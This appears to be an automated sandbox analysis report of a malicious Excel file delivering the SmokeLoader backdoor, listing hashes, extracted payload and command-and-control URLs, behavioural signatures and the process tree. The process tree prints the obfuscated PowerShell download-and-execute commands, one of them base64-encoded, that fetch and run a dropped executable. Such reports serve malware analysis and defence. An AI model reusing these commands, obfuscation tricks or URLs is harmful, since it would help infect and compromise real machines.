Analysis
-
max time kernel
138s -
max time network
138s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
05-03-2021 08:35
Behavioral task
behavioral1
Sample
ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
Resource
win7v20201028
Behavioral task
behavioral2
Sample
ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
Resource
win10v20201028
General
-
Target
ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
-
Size
96KB
-
MD5
41174d7db173c0fc4e2426f49e66dd78
-
SHA1
4685a3c3226371580957b3a10b5af5d5f356e798
-
SHA256
ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5
-
SHA512
9a60e2d72d3d610a08fed66fcbcf201c77ae20c852f36cd5c13c4284a7fcbacbf481da7378777fe71157d774b1a854e07c69448d3815942def8406e11915a46b
Malware Config
Extracted
http://paste.ee/r/Plkrg
Extracted
https://u.teknik.io/ubU1Y.txt
Extracted
smokeloader
2018
http://cfsmarthome.net/1/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1532 504 powershell.exe EXCEL.EXE -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exeflow pid process 24 1532 powershell.exe 25 1532 powershell.exe 28 3760 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
rIFwqc.exepid process 3796 rIFwqc.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
rIFwqc.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum rIFwqc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 rIFwqc.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 504 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe 3760 powershell.exe 3760 powershell.exe 3760 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
rIFwqc.exepid process 3796 rIFwqc.exe 3796 rIFwqc.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1532 powershell.exe Token: SeDebugPrivilege 3760 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE 504 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
EXCEL.EXEpowershell.exepowershell.exedescription pid process target process PID 504 wrote to memory of 1532 504 EXCEL.EXE powershell.exe PID 504 wrote to memory of 1532 504 EXCEL.EXE powershell.exe PID 1532 wrote to memory of 3760 1532 powershell.exe powershell.exe PID 1532 wrote to memory of 3760 1532 powershell.exe powershell.exe PID 3760 wrote to memory of 3796 3760 powershell.exe rIFwqc.exe PID 3760 wrote to memory of 3796 3760 powershell.exe rIFwqc.exe PID 3760 wrote to memory of 3796 3760 powershell.exe rIFwqc.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/Plkrg')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AdQBiAFUAMQBZAC4AdAB4AHQAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdICAAKQAgADsAIABzAHQAQQBSAHQAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdIA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe"C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe"4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
4180fc1109043ba70ff0e5ff26a9e1f8
SHA1799702b71147d7a5e8f1b71714a2b859909767d2
SHA256e1e2f4279d95c9f895c364e055769f17a9aefbb12e34cdebbefb9d345adc4836
SHA512fb74451d2dc999cf2db3e458ba98c272125a086c3b9561400a182221d1678485f4a8a41521ccf954706772c6f68fcbf41774aa446ff66044da42477bfc284364
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
dd080d0031fa5d5560875459380182ae
SHA1150a062bbdcdc1b80875c674de69a3f4df3bf3a3
SHA256a891bbf45f33a7b997e678c0f8e452c0065dea8d020f5fe618660d53ee1ab156
SHA51265e0adfc06c2853bc571e99d66c88e5e3ead9b1f169003f488e458f29e9b17e10518d34e0785755731703546b7896795aca05e03431894e4ac535852575e699b
-
C:\Users\Admin\AppData\Local\Temp\rIFwqc.exeMD5
9ac835c38d4d0c6466e641427a2cf8f1
SHA1108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787
SHA256b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621
SHA512226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8
-
C:\Users\Admin\AppData\Local\Temp\rIFwqc.exeMD5
9ac835c38d4d0c6466e641427a2cf8f1
SHA1108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787
SHA256b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621
SHA512226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8
-
memory/504-3-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/504-4-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/504-5-0x00007FF803090000-0x00007FF8036C7000-memory.dmpFilesize
6.2MB
-
memory/504-6-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/504-2-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmpFilesize
64KB
-
memory/1532-8-0x00007FFFFD3F0000-0x00007FFFFDDDC000-memory.dmpFilesize
9.9MB
-
memory/1532-11-0x0000024598780000-0x0000024598782000-memory.dmpFilesize
8KB
-
memory/1532-13-0x0000024598786000-0x0000024598788000-memory.dmpFilesize
8KB
-
memory/1532-12-0x0000024598783000-0x0000024598785000-memory.dmpFilesize
8KB
-
memory/1532-7-0x0000000000000000-mapping.dmp
-
memory/1532-9-0x0000024598790000-0x0000024598791000-memory.dmpFilesize
4KB
-
memory/1532-10-0x0000024598940000-0x0000024598941000-memory.dmpFilesize
4KB
-
memory/2876-27-0x0000000000B70000-0x0000000000B85000-memory.dmpFilesize
84KB
-
memory/2876-26-0x0000000000B30000-0x0000000000B31000-memory.dmpFilesize
4KB
-
memory/3760-15-0x00007FFFFD3F0000-0x00007FFFFDDDC000-memory.dmpFilesize
9.9MB
-
memory/3760-20-0x00000212B4226000-0x00000212B4228000-memory.dmpFilesize
8KB
-
memory/3760-19-0x00000212B4223000-0x00000212B4225000-memory.dmpFilesize
8KB
-
memory/3760-18-0x00000212B4220000-0x00000212B4222000-memory.dmpFilesize
8KB
-
memory/3760-14-0x0000000000000000-mapping.dmp
-
memory/3796-21-0x0000000000000000-mapping.dmp